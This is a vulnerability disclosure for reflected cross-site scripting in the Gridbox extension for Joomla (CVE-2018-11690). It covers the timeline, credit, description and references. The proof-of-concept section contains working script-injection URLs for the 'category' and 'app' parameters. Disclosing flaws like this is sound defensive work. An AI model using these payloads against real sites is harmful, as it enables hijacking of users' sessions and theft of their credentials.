I. VULNERABILITY
-------------------------
Gridbox extension for Joomla! <= 2.4.0 Reflected Cross Site Scripting (XSS)

II. CVE REFERENCE
-------------------------
CVE-2018-11690

III. VENDOR
-------------------------
https://extensions.joomla.org/extension/gridbox/

IV. REFERENCES
-------------------------
https://vulmon.com/vulnerabilitydetails?qid=CVE-2018-11690
https://vel.joomla.org/resolved/2155-gridbox-com-gridbox-multiple-vulnerabilities

V. TIMELINE
-------------------------
02/04/2018 Vulnerability discovered
09/04/2018 Vendor contacted
23/04/2018 Vulnerability fixed

VI. CREDIT
-------------------------
Yavuz Atlas of Biznet Bilisim
http://www.biznet.com.tr/biznet-guvenlik-duyurulari

VII. DESCRIPTION
-------------------------
Balbooa Gridbox extension version 2.4.0 and previous versions for
Joomla! is vulnerable to cross-site scripting. A remote attacker could
exploit this vulnerability via a crafted URL to execute script in a
victim's Web browser within the security context of the hosting Web
site, once the URL is clicked. An attacker could use this
vulnerability to steal the victim's cookie-based authentication
credentials

VIII. PROOF OF CONCEPT
-------------------------
For category parameter:
http://localhost:81/bg/Joomla_3.8.5-Stable-Full_Package/index.php?option=com_gridbox&view=pages&app=aaa&category=<script>alert(1)</script>

For app parameter:
http://localhost:81/bg/Joomla_3.8.5-Stable-Full_Package/index.php?option=com_gridbox&view=pages&app=<script>alert(1)</script>&category=aaa